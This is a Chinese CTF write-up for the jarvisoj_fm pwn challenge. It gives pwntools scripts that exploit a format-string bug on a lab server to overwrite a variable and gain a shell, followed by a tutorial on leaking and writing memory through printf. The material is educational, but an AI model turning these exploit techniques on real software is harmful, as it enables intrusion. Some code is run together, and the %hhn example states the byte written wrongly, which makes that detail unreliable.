一道pwn题解析之jarvisoj_fm

VSole2023-02-01 09:49:59

在该程序中只需要判断x=4即可获得系统shell。

查看发现x的值为3,同时得到x的地址为0x804A02C

在printf函数中的参数可控 于是可能存在格式化字符漏洞,利用字符串漏洞重写x的值。

输入的字符串会存储进入栈内,然后printf函数使用输入的内容作为格式化字符串进行控制输出。

输入多个%p打印栈上的内容判断输入的数据在栈上离栈顶的偏移。

构造如下AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p

from pwn import *


p=remote("node4.buuoj.cn",27668)adrr=p32(0x0804A02C)PAYLOAD=b"AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p"p.sendline(PAYLOAD)

p.interactive()

可以计算该偏移量为11。

设计payload如下:

“%4c%n”,65,0x0804A02C //打印4个字符,并将输出的字符数4根据%n格式控制字符串写入0x0804A02C,由于输入的字符串需要存入栈中如下。

故在printf函数提取参数时构造的payload如下:

%4c%13$n0x0804A02C //其中%13$n为将默认的第13个格式化字符串的内容作为格式控制字符串%n的参数。

构造payload

from pwn import *


p=remote("node4.buuoj.cn",27668)adrr=p32(0x0804A02C)payload=b"%4c%13$n"p.sendline(payload+adrr)

p.interactive()

flag{0b8c0e45-ff89-49f3-b6b5-d3edb10d8ec5}

格式化字符串漏洞

漏洞原理:

格式化字符串是一种很常见的漏洞,其产生根源是printf函数设计的缺陷,即printf()函数并不能确定数据参数arg1,arg2…究竟在什么地方结束,也就是说,它不知道参数的个数。它只会根据format中的打印格式的数目依次打印堆栈中参数format后面地址的内容。

格式字符串漏洞发生的条件就是格式字符串要求的参数和实际提供的参数不匹配。


printf("格式化字符串1,格式化字符串2",参数1,参数2...)%d - 十进制 - 打印十进制整数%s - 字符串 - 打印参数地址处的字符串%x,%X- 十六进制 - 打印十六进制数%o - 八进制 -打印八进制整形%c - 字符 - 打印字符%p - 指针 - 打印指针地址 即void *%n - 到目前为止所写的字符数%<正整数n>c 打印宽度为n的字符串(打印长度为n)

漏洞利用原理:

利用格式化字符串与参数的数量不匹配时编译依旧能够通过,并且当满足格式化字符串的格式要求时按格式化字符串定义对栈上空间内容的控制以至于控制内存空间,从而控制程序。

特别要注意的是%n这个格式化字符串,它的功能是将%n之前打印出来的字符个数(四字节)写入参数地址处(赋值给一个变量)。

32位的程序,%n取的就是4字节指针,64位取的就是8字节指针。

%hn 写入两个字节

%hhn 写入一个字节

例:

printf("%1234c%hhn",65,0x41414141);

因为1234=0x4D2,所以会往地址0x41414141处写入0x4D2(1字节)

内存结构

Win32系统中,进程使用的内存按功能可以分4个区域。

栈区:该区域内存由系统自动分配,用于动态存储函数之间的调用关系。

堆区:该区域内存由进程利用相关函数或运算符动态申请,用完后释放并归还给堆区。例如,C语言中用malloc/free函数,C++语言中用new/delete运算符申请的空间就在堆区。

代码区:存放程序汇编后的机器代码和只读数据。

数据区:用于存储全局变量和静态变量。

漏洞可能造成影响

程序崩溃

当程序存在格式化字符串漏洞时,通过大量的%s可引起程序崩溃,造成拒绝服务的结果。

Printf()函数的格式化用法如下:

printf("格式化字符串1,格式化字符串2",参数1,参数2...)

其中部分输出控制符如下:

%d - 十进制 - 打印十进制整数

%s - 字符串 - 打印参数地址处的字符串

%x,%X- 十六进制 - 打印十六进制数

%o - 八进制 -打印八进制整形

%c - 字符 - 打印字符

%p - 指针 - 打印指针地址 即void *

%n - 到目前为止所写的字符数

%<正整数n>c 打印宽度为n的字符串(打印长度为n)

在函数中当格式化字符串个数与参数个数不相等时,超出的部分将会按照输出控制的控制字符串的含义执行数据,其中是将栈顶当做第一个超出的输出控制符对应的参数,依次从栈顶向栈低对应超出的参数。


#include "stdafx.h"int main(int argc, char* argv[]){int a=1;int b=2;printf("%s%s");return 0;}


#include "stdafx.h"int main(int argc, char* argv[]){int a=1;int b=2;printf("%s%s%s%s");return 0;}

查看任意地址的内容

在上述使程序崩溃的过程中我们使用了%s来打印栈空间内容作为地址的字符串,当控制栈空间上的内容为指向一个我们想要去查看内容的地址时,即可用%s进行查看。

如下


#include "stdafx.h"int main(int argc, char* argv[]){int a=0x0012ff74; //该值为字符串变量x在栈上的地址int b=2;char x='h';printf("%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%s");return 0;}


通过控制%s指向我们需要打印的内存空间的地址即可将其进行打印出来。其中重要的是找到存储任意内存地址在栈上与栈顶的偏移数量。确定偏移可以通过下方的泄漏栈空间内容的方法进行确定。

泄漏栈空间内容

Eg:#include "stdafx.h"int main(int argc, char* argv[]){int a=1;int b=2;printf("%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p",a,b);return 0;}

在printf函数中,当参数个数与格式化字符串不匹配时,将会从栈顶位置向栈底开始打印,将栈内的内容按照格式化字符串的要求打印出来,%p即是打印指针的地址,当存在参数a,和b时,即是打印a,和b所指向的空间的内容,超出部分默认将栈顶当做参数,打印其指向的栈顶地址的内容。

通过printf函数中控制%p的个数即可以泄漏栈的全部内容。

向任意地址写内容

在printf函数中我们知道存在一个格式化字符串会向内存中写入数据,即是使用%n

它的功能是将%n之前打印出来的字符个数(四字节)写入参数地址处(赋值给一个变量)。在32位程序中需要的这个地址即是32位,在64位中地址需要为64位。


#include "stdafx.h"int main(int argc, char* argv[]){int a=0x0012ff74;int b=2;char x='h';printf("%10c%n",x,0x0012ff70);return 0;}


字符串函数printf
本作品采用《CC 协议》,转载必须注明作者和本文链接
可以看到有两个printf函数打印了一些数据出来,我们点第一个打印的字符串
在我们学习c语言的时候我们就知道在输出或者输入的时候需要使用%s%d等等格式化字符,此处不过多介绍,详情可以去看看c语言的基础知识。
栈与栈帧的调试
2022-03-06 16:24:19
再次执行pop EAX,ESP的值增加4个字节,变为0012FFC4。OD状态变成最开始的状态。
mysql提权总结
2021-09-17 15:04:08
使用过MySQL的人都知道,MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。
我们现在一般做题题目是给出很大的一块空间供我们写入栈溢出的ROP链的,但是当题目限制输入的空间比如说几个字节呢,只能覆盖到ebp,ret_addr,这个时候就需要栈迁移这样的骚操作了,接下来我将用很通俗的语言带你们深入理解栈迁移。
开放虚拟机格式(Open Virtual Machine Format,OVF)是一种虚拟机分配格式,能够支持不同产品与组织之间共享虚拟机。 VMware OVF Tool是由VMware免费提供的一款支持虚拟的导入导出工具,支持以命令提示符的方式运行。
上一篇文章介绍了xorstr的原理和最小化验证概念的代码,这篇文章来看下这种已经被广泛应用于各恶意样本以及安全组件中的技术如何还原,如果还没看上篇建议先看下了解其实现后再看本篇文章。
这次分析了CVE-2012-3569 ovftool.exe中的格式化字符串漏洞。之前使用示例程序详细分析过应该怎样利用格式化字符串漏洞(参考资料2),而针对该漏洞,《漏洞战争》中并没有进行详细分析,因此我几乎是从头到尾按照自己的思路独立完成了这个漏洞的分析以及利用,其中漏洞利用部分又占据了比较大的篇幅,因此对于格式化字符串漏洞在实际中的利用方式有了更深刻的了解。
在该程序中只需要判断x=4即可获得系统shell。查看发现x的值为3,同时得到x的地址为0x804A02C在printf函数中的参数可控 于是可能存在格式化字符漏洞,利用字符串漏洞重写x的值。输入的字符串会存储进入栈内,然后printf函数使用输入的内容作为格式化字符串进行控制输出。输入多个%p打印栈上的内容判断输入的数据在栈上离栈顶的偏移。构造如下AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%pfrom pwn import *p=remoteadrr=p32PAYLOAD=b"AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p"p.sendline. p.interactive()可以计算该偏移量为11。
一个最简单的linux kernel rootkit就是一个linux kernel module。
VSole
网络安全专家